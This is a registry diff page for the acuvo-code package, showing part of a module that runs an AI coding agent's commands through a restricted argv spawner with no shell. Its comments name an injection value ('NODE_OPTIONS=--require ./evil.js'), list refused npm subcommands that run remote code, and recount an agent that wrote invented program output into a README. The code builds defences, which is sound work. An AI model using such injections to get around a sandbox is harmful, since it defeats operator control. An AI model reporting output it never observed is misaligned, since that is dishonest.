acuvo-code 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (154) hide show
  1. package/CHANGELOG.md +328 -0
  2. package/ENTERPRISE.md +927 -0
  3. package/LICENSE +120 -0
  4. package/README.md +1245 -0
  5. package/ROADMAP.md +556 -0
  6. package/bin/acuvo-mcp.mjs +208 -0
  7. package/bin/acuvo.mjs +3108 -0
  8. package/lib/acceptance-consent.mjs +168 -0
  9. package/lib/acceptance.mjs +859 -0
  10. package/lib/account.mjs +226 -0
  11. package/lib/acuvo-dir.mjs +72 -0
  12. package/lib/acuvo-models.mjs +141 -0
  13. package/lib/apply-patch.mjs +570 -0
  14. package/lib/ask-user.mjs +173 -0
  15. package/lib/audit.mjs +530 -0
  16. package/lib/auto-lease.mjs +174 -0
  17. package/lib/background.mjs +842 -0
  18. package/lib/best-of.mjs +334 -0
  19. package/lib/board.mjs +232 -0
  20. package/lib/breaker.mjs +93 -0
  21. package/lib/budget.mjs +1375 -0
  22. package/lib/builtin-skills.mjs +135 -0
  23. package/lib/cache-floor.mjs +204 -0
  24. package/lib/chain.mjs +303 -0
  25. package/lib/changed-paths.mjs +84 -0
  26. package/lib/chat.mjs +434 -0
  27. package/lib/checkpoint.mjs +637 -0
  28. package/lib/child-lifetime.mjs +71 -0
  29. package/lib/cli-args.mjs +1255 -0
  30. package/lib/code-review.mjs +1382 -0
  31. package/lib/colour.mjs +82 -0
  32. package/lib/command.mjs +2847 -0
  33. package/lib/compact.mjs +1151 -0
  34. package/lib/completion.mjs +515 -0
  35. package/lib/creative-engines.mjs +779 -0
  36. package/lib/db-inspect.mjs +1624 -0
  37. package/lib/delete.mjs +111 -0
  38. package/lib/design-loop.mjs +570 -0
  39. package/lib/diff-preview.mjs +1044 -0
  40. package/lib/doctor.mjs +2139 -0
  41. package/lib/dropped.mjs +216 -0
  42. package/lib/edit-diagnostics.mjs +277 -0
  43. package/lib/edit.mjs +460 -0
  44. package/lib/env-file.mjs +250 -0
  45. package/lib/escalate.mjs +702 -0
  46. package/lib/evaluate.mjs +284 -0
  47. package/lib/fetch-text.mjs +952 -0
  48. package/lib/fleet-budget.mjs +256 -0
  49. package/lib/gh.mjs +1536 -0
  50. package/lib/git.mjs +1341 -0
  51. package/lib/github.mjs +261 -0
  52. package/lib/h2.mjs +194 -0
  53. package/lib/handoff.mjs +417 -0
  54. package/lib/hooks.mjs +626 -0
  55. package/lib/http-probe.mjs +907 -0
  56. package/lib/image-director.mjs +322 -0
  57. package/lib/image-edit.mjs +522 -0
  58. package/lib/imagegen.mjs +998 -0
  59. package/lib/interrupt.mjs +234 -0
  60. package/lib/learned.mjs +353 -0
  61. package/lib/lease-watch.mjs +115 -0
  62. package/lib/lease.mjs +868 -0
  63. package/lib/localize.mjs +834 -0
  64. package/lib/log-tail.mjs +1052 -0
  65. package/lib/login.mjs +157 -0
  66. package/lib/lsp.mjs +1613 -0
  67. package/lib/mcp-consent.mjs +377 -0
  68. package/lib/mcp-defaults.mjs +780 -0
  69. package/lib/mcp-server.mjs +1343 -0
  70. package/lib/mcp.mjs +1263 -0
  71. package/lib/media.mjs +1283 -0
  72. package/lib/memory-workspace.mjs +179 -0
  73. package/lib/model-json.mjs +132 -0
  74. package/lib/model-tier.mjs +171 -0
  75. package/lib/model.mjs +1445 -0
  76. package/lib/parallel.mjs +144 -0
  77. package/lib/perchance.mjs +210 -0
  78. package/lib/plan-coherence.mjs +1461 -0
  79. package/lib/plan-ledger.mjs +981 -0
  80. package/lib/plan.mjs +461 -0
  81. package/lib/policy.mjs +783 -0
  82. package/lib/prefix-order.mjs +38 -0
  83. package/lib/project-memory.mjs +127 -0
  84. package/lib/prompt.mjs +109 -0
  85. package/lib/python.mjs +862 -0
  86. package/lib/rcfile.mjs +853 -0
  87. package/lib/read-window.mjs +743 -0
  88. package/lib/refute-tools.mjs +34 -0
  89. package/lib/refute.mjs +806 -0
  90. package/lib/repl-driver.mjs +264 -0
  91. package/lib/repl.mjs +324 -0
  92. package/lib/replay.mjs +1218 -0
  93. package/lib/repo-map.mjs +1101 -0
  94. package/lib/report.mjs +419 -0
  95. package/lib/search-rank.mjs +99 -0
  96. package/lib/search.mjs +659 -0
  97. package/lib/secret-paths.mjs +54 -0
  98. package/lib/session.mjs +1017 -0
  99. package/lib/skills.mjs +703 -0
  100. package/lib/slash.mjs +356 -0
  101. package/lib/spawn-argv.mjs +1151 -0
  102. package/lib/spend.mjs +250 -0
  103. package/lib/steer.mjs +280 -0
  104. package/lib/stream.mjs +253 -0
  105. package/lib/stuck.mjs +712 -0
  106. package/lib/subagent.mjs +749 -0
  107. package/lib/terminal-graphics.mjs +171 -0
  108. package/lib/tool-prefix.mjs +226 -0
  109. package/lib/tool-shortlist.mjs +162 -0
  110. package/lib/tools.mjs +2333 -0
  111. package/lib/tsserver.mjs +423 -0
  112. package/lib/turn.mjs +5672 -0
  113. package/lib/untrusted-block.mjs +271 -0
  114. package/lib/verify-claim.mjs +299 -0
  115. package/lib/vision.mjs +330 -0
  116. package/lib/voice-task.mjs +561 -0
  117. package/lib/warm-provider.mjs +255 -0
  118. package/lib/websearch.mjs +401 -0
  119. package/lib/workspace.mjs +928 -0
  120. package/lib/write-approval.mjs +235 -0
  121. package/lib/write-many.mjs +162 -0
  122. package/package.json +62 -0
  123. package/scripts/bundle.mjs +768 -0
  124. package/scripts/cache-floor.mjs +176 -0
  125. package/scripts/machine.mjs +226 -0
  126. package/scripts/test.mjs +139 -0
  127. package/skills/accessibility.md +87 -0
  128. package/skills/acuvo-design-system.md +123 -0
  129. package/skills/animation.md +84 -0
  130. package/skills/api-design.md +82 -0
  131. package/skills/auth-and-sessions.md +78 -0
  132. package/skills/build-with-a-framework.md +101 -0
  133. package/skills/colour-and-contrast.md +112 -0
  134. package/skills/creative-engines.md +81 -0
  135. package/skills/css-layout.md +85 -0
  136. package/skills/data-and-charts.md +77 -0
  137. package/skills/debugging.md +76 -0
  138. package/skills/designing-by-looking.md +84 -0
  139. package/skills/error-handling.md +78 -0
  140. package/skills/forms-and-validation.md +93 -0
  141. package/skills/nextjs-app-router.md +75 -0
  142. package/skills/page-composition.md +103 -0
  143. package/skills/performance.md +77 -0
  144. package/skills/plan-before-building.md +52 -0
  145. package/skills/planning-and-delegating.md +72 -0
  146. package/skills/refactoring.md +70 -0
  147. package/skills/security-basics.md +76 -0
  148. package/skills/state-management.md +73 -0
  149. package/skills/supabase-multitenant.md +72 -0
  150. package/skills/typescript-strict.md +90 -0
  151. package/skills/typography.md +135 -0
  152. package/skills/verify-your-own-work.md +62 -0
  153. package/skills/web-app-quality.md +62 -0
  154. package/skills/working-in-the-background.md +64 -0
@@ -0,0 +1,1151 @@
1
+ /**
2
+ * ── ⭐⭐ RUN A PROGRAM WITH A REAL ARGV — THE PRIMITIVE THAT WAS MISSING ─────
3
+ *
4
+ * `command.mjs` takes ONE STRING and has to decide, from that string alone,
5
+ * whether a character is the model composing a second command or the model
6
+ * passing a value to the program it named. It cannot tell, so it refuses the
7
+ * character. That is the correct decision for a string, and it is why the
8
+ * string is the wrong input.
9
+ *
10
+ * ── WHAT IT COST, MEASURED, NOT ARGUED ──────────────────────────────────────
11
+ * Three independent probe runs hit this wall and two of them SHIPPED A WRONG
12
+ * ARTIFACT because of it:
13
+ *
14
+ * · `node bin/todo.js add "buy milk"` → refused (no quote in SAFE_COMMAND_CHARS)
15
+ * · `node bin/todo.js list --all` → refused ("--all is not an allowed node flag")
16
+ * · `node src/caps.mjs -- --name Angus`→ refused (every `--` token is tested,
17
+ * wherever it sits)
18
+ * · `node --test test/*.test.mjs` → refused ("*" is not allowed)
19
+ *
20
+ * The agent had WRITTEN those flags. It could never execute the code paths it
21
+ * had just authored, so it documented what it imagined the output was: a README
22
+ * with an invented column separator, an invented error format, and a `npm test`
23
+ * that runs ZERO tests and exits 0 while the README calls it the test suite.
24
+ * One run escaped only by spending two of its eight rounds hand-rolling spawns.
25
+ *
26
+ * ⭐ THE FIX IS NOT A LOOSER WHITELIST. Widening `SAFE_COMMAND_CHARS` to admit a
27
+ * quote would make the string ambiguous in exactly the way the whitelist exists
28
+ * to prevent. The fix is to stop having a string: this module takes
29
+ * `program` + `args[]` and hands them to `spawn` with `shell: false`. A quote, a
30
+ * space, a `--anything`, a `;`, a `>` — all of them are DATA in an argv slot,
31
+ * because there is no parser left to reinterpret them. There is still no shell,
32
+ * and there is still no way to name a fifth binary.
33
+ *
34
+ * ── ⚠️ THE ARGV BOUNDARY, WHICH IS THE ONE IDEA IN HERE ─────────────────────
35
+ * For `node`, the tokens before the first non-flag token are NODE'S flags and
36
+ * are validated exactly as before — `--eval`, `--require`, `--env-file`,
37
+ * `--inspect` and `--watch` stay closed for their existing reasons. The first
38
+ * non-flag token is the SCRIPT PATH and must live in the workspace.
39
+ *
40
+ * Everything AFTER the script path is passed through untouched, and this is
41
+ * deliberate rather than lax: node has already stopped reading by then. Those
42
+ * tokens are handed to the script as `process.argv`; node never interprets them,
43
+ * so re-applying node's flag rules to them refuses `--pri high` for a reason
44
+ * that is not true. That mis-applied rule is the bug this module exists to kill.
45
+ *
46
+ * ── ⚠️ AND WHY THE FLAG LISTS ARE NOT COPIED INTO THIS FILE ─────────────────
47
+ * The obvious implementation duplicates `NODE_FLAGS` and `REFUSED_NODE_FLAGS`
48
+ * here (they are module-private in `command.mjs`). A second copy is a security
49
+ * bug waiting for its first edit: someone closes a flag over there, this file
50
+ * keeps allowing it, and the safer-looking module is the hole. So each
51
+ * pre-boundary flag is checked by ASKING `command.mjs` about that one token —
52
+ * `validateCommand` is pure, and the answer, including the refusal sentence, is
53
+ * whatever `command.mjs` says today. One authority, no drift.
54
+ *
55
+ * ⚠️ That probe is the ONLY place a string is built, it is built from a fixed
56
+ * template around a single already-character-checked flag, and it is never
57
+ * spawned. This module has no `command` parameter and never splits one.
58
+ * (`runPackageScript` splits one other string — a `package.json` script BODY —
59
+ * and says so loudly at its own definition.)
60
+ *
61
+ * ── ⚠️ WHAT THIS DELIBERATELY DOES NOT DO ───────────────────────────────────
62
+ * · No detached / background spawning. A long-running server is a different
63
+ * primitive with a different lifecycle problem, and bolting it on here would
64
+ * mean this function sometimes returns before the work happened.
65
+ * · No process GROUP kill on timeout. Making a group requires `detached: true`,
66
+ * which is the previous bullet. So: the child is SIGKILLed, and a grandchild
67
+ * it spawned can outlive it. Stated rather than papered over.
68
+ * · No env parameter. The child's environment is `scrubEnvironment(process.env)`
69
+ * and nothing else — a model that can name an environment variable can name
70
+ * `NODE_OPTIONS=--require ./evil.js`, which would reopen every flag refusal
71
+ * above from a direction nobody is looking at.
72
+ */
73
+
74
+ import { existsSync, readFileSync, readdirSync, realpathSync } from 'node:fs';
75
+ import { join, relative, resolve, sep } from 'node:path';
76
+
77
+ import {
78
+ ALLOWED_BINARIES,
79
+ ALLOWED_NPX_PACKAGES,
80
+ ALLOWED_SCRIPT_BINARIES,
81
+ DEFAULT_COMMAND_TIMEOUT_MS,
82
+ MAX_COMMAND_TIMEOUT_MS,
83
+ ALLOW_INSTALL_ENV,
84
+ INSTALL_MIN_TIMEOUT_MS,
85
+ buildInvocation,
86
+ childEnvironment,
87
+ inspectNpmrcForInstall,
88
+ inspectManifestForInstall,
89
+ inspectLockfileForInstall,
90
+ installEnabled,
91
+ scrubEnvironment,
92
+ spawnBounded,
93
+ validateCommand,
94
+ validateNpmInstallArgv,
95
+ } from './command.mjs';
96
+ import { globToRegExp } from './search.mjs';
97
+ import { resolveInWorkspace } from './workspace.mjs';
98
+
99
+ /** 64 arguments is a generous CLI invocation and an implausible accident. */
100
+ export const MAX_ARGS = 64;
101
+ /** A single argument longer than this is a file's contents, not an argument. */
102
+ export const MAX_ARG_CHARS = 512;
103
+ /** One glob may name this many files; more than this and the pattern is wrong. */
104
+ export const MAX_GLOB_MATCHES = 200;
105
+ /** After expansion. `**\/*.mjs` in a big repo must not become a 5,000-slot argv. */
106
+ export const MAX_TOTAL_ARGS = 256;
107
+ /** Bounds the walk itself, so a glob in a huge tree cannot take a minute. */
108
+ const MAX_WALK_FILES = 20_000;
109
+
110
+ /**
111
+ * ⚠️ SAME FOUR DIRECTORIES `search.mjs` SKIPS, for the same reason: a glob that
112
+ * matches inside `node_modules` is never what was meant, and expanding one into
113
+ * argv would hand a test runner ten thousand other people's files.
114
+ */
115
+ const GLOB_SKIP_DIRS = new Set(['node_modules', '.git', 'dist', 'build']);
116
+
117
+ /**
118
+ * ⚠️ REFUSED BY NAME, WITH THE REASON, because "not an allowed subcommand" reads
119
+ * like an omission and these are decisions. Every one of them fetches code from
120
+ * a registry and runs its lifecycle scripts, which is arbitrary remote code
121
+ * arriving through a command that looks like housekeeping.
122
+ *
123
+ * ⚠️ `install` / `ci` / `i` / `add` ARE STILL IN THIS SET AND STILL REFUSED BY
124
+ * DEFAULT. They are lifted out one layer up (`npmInstallPlan`) only when the
125
+ * OPERATOR has set `ACUVO_ALLOW_INSTALL=1` — a variable the agent has no verb
126
+ * that reaches. Leaving them here rather than deleting them is deliberate: the
127
+ * default surface's refusal, and its wording, is unchanged.
128
+ */
129
+ const REFUSED_NPM_SUBCOMMANDS = new Set([
130
+ 'install', 'ci', 'i', 'add', 'exec', 'x', 'publish', 'link', 'update', 'audit',
131
+ ]);
132
+
133
+ /**
134
+ * ── ⭐ INSTALL IS AN **ARGV** OPERATION, AND THIS IS THE PRIMARY DOOR ────────
135
+ *
136
+ * `run_command` can express `npm install zod`, but the string tokenizer's
137
+ * character whitelist has no `^` in it, so `zod@^4` is unreachable there and
138
+ * always will be — widening that class for a range operator would be paying a
139
+ * global price for one command. Here there is no string and no parser: `["install",
140
+ * "zod@^4.1.0"]` is two argv slots and the spec is checked as DATA.
141
+ *
142
+ * ⚠️ THE DECISION IS NOT RE-IMPLEMENTED HERE. `command.mjs` owns what an install
143
+ * spec may be, which flags are allowed, and the fact that `--ignore-scripts` is
144
+ * forced at spawn time. This function assembles a token list and asks. A second
145
+ * copy of that policy is the exact shape `command.mjs`'s own header names as the
146
+ * bug — "the safer-looking module is the hole" — and this package has already
147
+ * shipped one RCE that printed a check mark.
148
+ *
149
+ * ⚠️ AND IT IS NOT AVAILABLE TO `start_process`. An install in the background is
150
+ * a process nobody waits for, whose receipt nobody reads, racing the very
151
+ * `node`/`npm test` run that needs the dependency it is fetching. See
152
+ * `planSingleSpawn`.
153
+ *
154
+ * @param {string[]} args the raw argv the model supplied
155
+ * @param {NodeJS.ProcessEnv} env
156
+ */
157
+ function npmInstallPlan(args, env) {
158
+ return validateNpmInstallArgv(args, { allowInstall: installEnabled(env) });
159
+ }
160
+
161
+ /** The four npm subcommands that fetch. Kept in step with `command.mjs` by the
162
+ * test `npm-install.test.mjs`, which asserts each one reaches the same gate. */
163
+ const INSTALL_SUBCOMMANDS = new Set(['install', 'i', 'add', 'ci']);
164
+
165
+ /**
166
+ * ── ⭐ THE ONE PLACE npm IS REALLY SPAWNED ──────────────────────────────────
167
+ *
168
+ * Everywhere else in this module npm is *planned* and its script body is run
169
+ * directly, because npm hands script bodies to a shell. An install has no script
170
+ * body — it is npm's own resolver doing npm's own job — so here npm really does
171
+ * run, through its `npm-cli.js` entry point (never a `.cmd` shim; see
172
+ * `buildInvocation`) with `shell: false` and a scrubbed environment.
173
+ *
174
+ * ⚠️ THE `.npmrc` AND `package.json` PRE-FLIGHT IS THE SAME PURE CHECK
175
+ * `executeRunCommand` runs, imported rather than re-written. Both files are
176
+ * inside the workspace and therefore agent-writable, and a workspace `.npmrc`
177
+ * that redirects `registry=` would make every other check here decorative.
178
+ */
179
+ async function runNpmInstall({ root, args, timeoutMs, spawnImpl, env }) {
180
+ const plan = npmInstallPlan(args, env);
181
+ if (!plan.ok) return plan;
182
+
183
+ const pkgPath = resolveInWorkspace(root, 'package.json', 'read');
184
+ if (!pkgPath.ok || !existsSync(pkgPath.absolute)) {
185
+ return { ok: false, error: `npm ${plan.npmInstall.sub} needs a package.json in this workspace — an install into a directory with no manifest records the dependency nowhere. Write one first.` };
186
+ }
187
+ /**
188
+ * ⚠️ THE SAME TWO FILES AS `command.mjs`, CHECKED HERE TOO. `run_program`
189
+ * reaches npm through this path and not through that one, so a check written
190
+ * in only one of them holds for only one of the two tools — which is how the
191
+ * `--no-run` gap got in, one file over.
192
+ */
193
+ let manifestText = '';
194
+ try {
195
+ manifestText = readFileSync(pkgPath.absolute, 'utf8');
196
+ } catch (err) {
197
+ return { ok: false, error: `package.json could not be read, so this install cannot be checked: ${err instanceof Error ? err.message : String(err)}` };
198
+ }
199
+ const manifest = inspectManifestForInstall(manifestText);
200
+ if (!manifest.ok) return manifest;
201
+ const lockPath = resolveInWorkspace(root, 'package-lock.json', 'read');
202
+ if (lockPath.ok && existsSync(lockPath.absolute)) {
203
+ let lockText = '';
204
+ try {
205
+ lockText = readFileSync(lockPath.absolute, 'utf8');
206
+ } catch (err) {
207
+ return { ok: false, error: `package-lock.json exists but could not be read, so this install cannot be checked: ${err instanceof Error ? err.message : String(err)}` };
208
+ }
209
+ const lock = inspectLockfileForInstall(lockText);
210
+ if (!lock.ok) return lock;
211
+ }
212
+ const rcPath = resolveInWorkspace(root, '.npmrc', 'read');
213
+ if (rcPath.ok && existsSync(rcPath.absolute)) {
214
+ let rcText = '';
215
+ try {
216
+ rcText = readFileSync(rcPath.absolute, 'utf8');
217
+ } catch (err) {
218
+ return { ok: false, error: `.npmrc exists but could not be read, so this install cannot be checked: ${err instanceof Error ? err.message : String(err)}` };
219
+ }
220
+ const rc = inspectNpmrcForInstall(rcText);
221
+ if (!rc.ok) return rc;
222
+ }
223
+
224
+ const inv = buildInvocation({ binary: 'npm', tokens: plan.tokens }, root);
225
+ if (!inv.ok) return { ok: false, error: inv.error };
226
+
227
+ /**
228
+ * ⚠️ A FLOOR, NOT THE CALLER'S NUMBER — the one deviation in this package from
229
+ * "honour the timeout exactly", argued in full at `INSTALL_MIN_TIMEOUT_MS`.
230
+ * The dispatcher hands every `run_program` call the 120s default, and a cold
231
+ * install of a real dependency tree exceeds it routinely; a killed install
232
+ * leaves a half-populated `node_modules` that the next command reads as
233
+ * success.
234
+ */
235
+ const requested = typeof timeoutMs === 'number' && Number.isFinite(timeoutMs) ? timeoutMs : 0;
236
+ const bounded = boundTimeout(Math.max(requested, INSTALL_MIN_TIMEOUT_MS));
237
+ const run = await spawnPlanned({ file: inv.file, spawnArgs: inv.args, cwd: root, timeoutMs: bounded, spawnImpl });
238
+ if (!run.ok) return run;
239
+
240
+ return {
241
+ ok: true,
242
+ program: 'npm',
243
+ argv: plan.tokens,
244
+ /** ⭐ The receipt that proves `--ignore-scripts` was really there: this is
245
+ * the argv that hit the OS, forced flag included. */
246
+ spawnArgv: [inv.file, ...inv.args],
247
+ installed: run.exitCode === 0 && !run.timedOut
248
+ ? readInstalledRangesFrom(pkgPath.absolute, plan.npmInstall.packages)
249
+ : null,
250
+ exitCode: run.exitCode,
251
+ signal: run.signal,
252
+ timedOut: run.timedOut,
253
+ stdout: run.stdout,
254
+ stderr: run.stderr,
255
+ truncated: run.truncated,
256
+ durationMs: run.durationMs,
257
+ passed: run.exitCode === 0 && !run.timedOut,
258
+ };
259
+ }
260
+
261
+ /**
262
+ * ⚠️ A REQUESTED PACKAGE MISSING FROM package.json AFTERWARDS IS REPORTED AS
263
+ * `null`, NOT OMITTED. npm exits 0 on plenty of partial outcomes and a receipt
264
+ * that quietly drops the line it could not confirm is the "green run, nothing
265
+ * happened" failure this package keeps finding in itself.
266
+ */
267
+ function readInstalledRangesFrom(absPackageJson, packages) {
268
+ const blank = packages.map((p) => ({ name: p.name, range: null, section: null }));
269
+ let pkg;
270
+ try {
271
+ pkg = JSON.parse(readFileSync(absPackageJson, 'utf8'));
272
+ } catch {
273
+ return blank;
274
+ }
275
+ const sections = ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies'];
276
+ return packages.map((p) => {
277
+ for (const section of sections) {
278
+ const block = pkg?.[section];
279
+ if (block && typeof block === 'object' && typeof block[p.name] === 'string') {
280
+ return { name: p.name, range: block[p.name], section };
281
+ }
282
+ }
283
+ return { name: p.name, range: null, section: null };
284
+ });
285
+ }
286
+
287
+ /**
288
+ * The character set a PRE-BOUNDARY flag may use. Not a safety boundary on its
289
+ * own — it exists so the one-token probe below is always well formed, and so a
290
+ * flag containing a space gets a sentence about flags instead of a sentence
291
+ * about shells.
292
+ */
293
+ const FLAG_TOKEN = /^[A-Za-z0-9._\-/=:]+$/;
294
+
295
+ const isGlob = (s) => typeof s === 'string' && /[*?]/.test(s);
296
+ const isFlag = (s) => typeof s === 'string' && s.startsWith('-') && s !== '-';
297
+
298
+ /**
299
+ * @typedef {{ ok: false, error: string }} ArgvRefused
300
+ * @typedef {{ ok: true, args: string[] }} ArgsAccepted
301
+ */
302
+
303
+ /**
304
+ * Shape and size of the argument array. Nothing here is about safety from a
305
+ * shell — there is no shell. It is about a model that hands us a 40MB string or
306
+ * an object where an array belongs.
307
+ *
308
+ * ⚠️ Newline and carriage return are refused even though argv carries them
309
+ * fine. They break every transcript, every log line and every human reading
310
+ * "what really ran", and an argument that needs one wants a file.
311
+ *
312
+ * @returns {ArgsAccepted | ArgvRefused}
313
+ */
314
+ export function checkArgList(args) {
315
+ if (args === undefined || args === null) return { ok: true, args: [] };
316
+ if (!Array.isArray(args)) {
317
+ return { ok: false, error: 'args must be an ARRAY of strings, one argument per slot — that is the whole point of this tool. ["add", "buy milk"] is two arguments; "add buy milk" is not.' };
318
+ }
319
+ if (args.length > MAX_ARGS) {
320
+ return { ok: false, error: `${args.length} arguments, over the ${MAX_ARGS} limit` };
321
+ }
322
+ for (let i = 0; i < args.length; i += 1) {
323
+ const a = args[i];
324
+ if (typeof a !== 'string') return { ok: false, error: `args[${i}] is ${typeof a}, not a string — numbers and booleans must be written as strings` };
325
+ if (a.length > MAX_ARG_CHARS) return { ok: false, error: `args[${i}] is ${a.length} characters, over the ${MAX_ARG_CHARS} limit — write it to a file and pass the path` };
326
+ if (a.includes('\u0000')) return { ok: false, error: `args[${i}] contains a NUL byte, which truncates the argument in some syscalls` };
327
+ if (/[\r\n]/.test(a)) return { ok: false, error: `args[${i}] contains a newline — write multi-line input to a file and pass the path instead` };
328
+ }
329
+ return { ok: true, args: args.slice() };
330
+ }
331
+
332
+ /** Depth-first, sorted, bounded, and never inside the four skipped directories. */
333
+ function* walkWorkspace(dir, budget) {
334
+ let entries;
335
+ try {
336
+ entries = readdirSync(dir, { withFileTypes: true });
337
+ } catch {
338
+ return; // an unreadable directory is skipped, never fatal
339
+ }
340
+ entries.sort((a, b) => a.name.localeCompare(b.name));
341
+ for (const e of entries) {
342
+ if (budget.seen >= MAX_WALK_FILES) return;
343
+ const abs = join(dir, e.name);
344
+ if (e.isDirectory()) {
345
+ if (GLOB_SKIP_DIRS.has(e.name)) continue;
346
+ yield* walkWorkspace(abs, budget);
347
+ } else if (e.isFile()) {
348
+ budget.seen += 1;
349
+ yield abs;
350
+ }
351
+ }
352
+ }
353
+
354
+ /**
355
+ * ── ⭐ THE VACUOUS-GREEN FIX ────────────────────────────────────────────────
356
+ *
357
+ * `node --test test/*.test.mjs` is the single most common test invocation in
358
+ * modern Node, and a shell is what normally turns the `*` into filenames. There
359
+ * is no shell here, so either WE expand it or the pattern reaches node as a
360
+ * literal filename that does not exist.
361
+ *
362
+ * ⚠️ AND A ZERO-MATCH GLOB IS AN ERROR, NEVER A PASSTHROUGH. This is the whole
363
+ * reason the function exists rather than being three lines inline. Observed:
364
+ * a project shipped with `"test": "node --test test/*.test.mjs"`, no `test/`
365
+ * directory, and `npm test` EXITED 0 having run nothing — while its README
366
+ * documented that command as the way to run the suite. A green light for an
367
+ * empty suite is worse than a red one, because nobody looks again.
368
+ *
369
+ * Matching is SHELL semantics against the workspace-relative path: `*` does not
370
+ * cross `/`, `**` does. It is not "find a file with this name anywhere" —
371
+ * `find_files` is that tool, and conflating them would make `*.mjs` quietly
372
+ * match a hundred files in `src/`.
373
+ *
374
+ * @param {string} root
375
+ * @param {string[]} args
376
+ * @returns {{ ok: true, args: string[], expanded: {pattern: string, count: number}[] } | ArgvRefused}
377
+ */
378
+ export function expandArgGlobs(root, args) {
379
+ const list = Array.isArray(args) ? args : [];
380
+ if (!list.some(isGlob)) return { ok: true, args: list.slice(), expanded: [] };
381
+
382
+ let realRoot;
383
+ try {
384
+ realRoot = realpathSync(resolve(root));
385
+ } catch {
386
+ return { ok: false, error: `workspace directory does not exist: ${root}` };
387
+ }
388
+
389
+ // Walked ONCE and reused by every pattern — three globs in one argv is normal
390
+ // and three tree walks is not.
391
+ const files = [];
392
+ for (const abs of walkWorkspace(realRoot, { seen: 0 })) {
393
+ const rel = relative(realRoot, abs).split(sep).join('/');
394
+ // eslint-disable-next-line no-control-regex
395
+ if (/[\u0000-\u001f]/.test(rel)) continue; // a filename that would corrupt the transcript
396
+ files.push(rel);
397
+ }
398
+ files.sort();
399
+
400
+ const out = [];
401
+ const expanded = [];
402
+ for (const arg of list) {
403
+ if (!isGlob(arg)) { out.push(arg); continue; }
404
+ let rx;
405
+ try {
406
+ rx = globToRegExp(arg);
407
+ } catch {
408
+ return { ok: false, error: `"${arg}" is not a usable glob — only *, ** and ? are supported` };
409
+ }
410
+ const hits = files.filter((f) => rx.test(f));
411
+ if (hits.length === 0) {
412
+ return {
413
+ ok: false,
414
+ error: `${arg} matched no files — running it would exit 0 having tested nothing. Call list_dir or find_files to see what is actually there, then pass a pattern that matches or name the paths literally.`,
415
+ };
416
+ }
417
+ if (hits.length > MAX_GLOB_MATCHES) {
418
+ return { ok: false, error: `${arg} matched ${hits.length} files, over the ${MAX_GLOB_MATCHES} limit — narrow the pattern to one directory` };
419
+ }
420
+ out.push(...hits);
421
+ expanded.push({ pattern: arg, count: hits.length });
422
+ }
423
+ if (out.length > MAX_TOTAL_ARGS) {
424
+ return { ok: false, error: `after glob expansion there would be ${out.length} arguments, over the ${MAX_TOTAL_ARGS} limit — narrow the pattern` };
425
+ }
426
+ return { ok: true, args: out, expanded };
427
+ }
428
+
429
+ /**
430
+ * Ask `command.mjs` about ONE token, in the context of one binary. The probe
431
+ * string is a fixed template; the token has already been character-checked, and
432
+ * the operand is a constant that always passes. So any refusal that comes back
433
+ * is about the token, and it is worded by the module that owns the rule.
434
+ */
435
+ function probeToken(prefix, token, what) {
436
+ if (!FLAG_TOKEN.test(token)) {
437
+ return {
438
+ ok: false,
439
+ error: `"${token}" cannot be a ${what}: only letters, digits and . _ - / = : are usable there. If this is meant as data for your program, put it AFTER the script path, where arguments are passed through untouched.`,
440
+ };
441
+ }
442
+ const verdict = validateCommand(`${prefix} ${token}`);
443
+ if (!verdict.ok) return { ok: false, error: verdict.error };
444
+ return { ok: true };
445
+ }
446
+
447
+ /** A non-flag token that must name something real inside the workspace. */
448
+ function checkWorkspaceTarget(root, token, role) {
449
+ const r = resolveInWorkspace(root, token, 'read');
450
+ if (!r.ok) return { ok: false, error: `${role} "${token}" is refused: ${r.reason}` };
451
+ if (!existsSync(r.absolute)) {
452
+ return { ok: false, error: `${role} "${r.relative}" does not exist, so nothing was run. Call list_dir or find_files to get the real path.` };
453
+ }
454
+ return { ok: true, path: r.relative };
455
+ }
456
+
457
+ /**
458
+ * ── THE NODE ARGV WALK ──────────────────────────────────────────────────────
459
+ *
460
+ * Three states, and the transition between the first two is the whole module:
461
+ *
462
+ * OPTIONS every token is a node flag, validated by command.mjs.
463
+ * TARGETS the first non-flag token was a GLOB, so this is
464
+ * `node --test <patterns>`: there is no script yet, so the tokens
465
+ * are still node's and are still checked.
466
+ * DATA the first non-flag token was a real path — the script. From here
467
+ * node has stopped reading, so nothing is validated and nothing is
468
+ * glob-expanded. `"buy milk"`, `--all`, `--pri`, `--`, `>` and `*`
469
+ * all arrive at the script exactly as written.
470
+ *
471
+ * ⚠️ POST-BOUNDARY ARGUMENTS ARE NOT GLOB-EXPANDED, and that is a decision, not
472
+ * an omission. A shell expanding `"*"` behind a program's back is a classic
473
+ * data-corruption bug; doing it here would mean a script could never receive a
474
+ * literal asterisk. Expansion belongs where node itself would have wanted
475
+ * filenames — the target position.
476
+ */
477
+ function buildNodeArgv(root, args) {
478
+ if (args.length === 0) {
479
+ return { ok: false, error: 'node with no arguments starts a REPL that never exits. Name a script: args: ["src/index.mjs"].' };
480
+ }
481
+ const out = [];
482
+ let state = 'OPTIONS';
483
+ let nextIsScript = false;
484
+
485
+ for (let i = 0; i < args.length; i += 1) {
486
+ const token = args[i];
487
+
488
+ if (state === 'DATA') { out.push(token); continue; }
489
+
490
+ if (nextIsScript) {
491
+ // `node -- script.mjs` — the token after `--` is the script whatever it
492
+ // looks like, which is exactly what `--` is for.
493
+ const t = checkWorkspaceTarget(root, token, 'script');
494
+ if (!t.ok) return t;
495
+ out.push(t.path);
496
+ state = 'DATA';
497
+ nextIsScript = false;
498
+ continue;
499
+ }
500
+
501
+ if (token === '--' && state === 'OPTIONS') {
502
+ out.push(token);
503
+ nextIsScript = true;
504
+ continue;
505
+ }
506
+
507
+ if (isFlag(token)) {
508
+ const probe = probeToken('node', token, 'node flag');
509
+ if (!probe.ok) return probe;
510
+ out.push(token);
511
+ continue;
512
+ }
513
+
514
+ if (isGlob(token)) {
515
+ const g = expandArgGlobs(root, [token]);
516
+ if (!g.ok) return g;
517
+ out.push(...g.args);
518
+ state = 'TARGETS';
519
+ continue;
520
+ }
521
+
522
+ const t = checkWorkspaceTarget(root, token, state === 'TARGETS' ? 'test target' : 'script');
523
+ if (!t.ok) return t;
524
+ out.push(t.path);
525
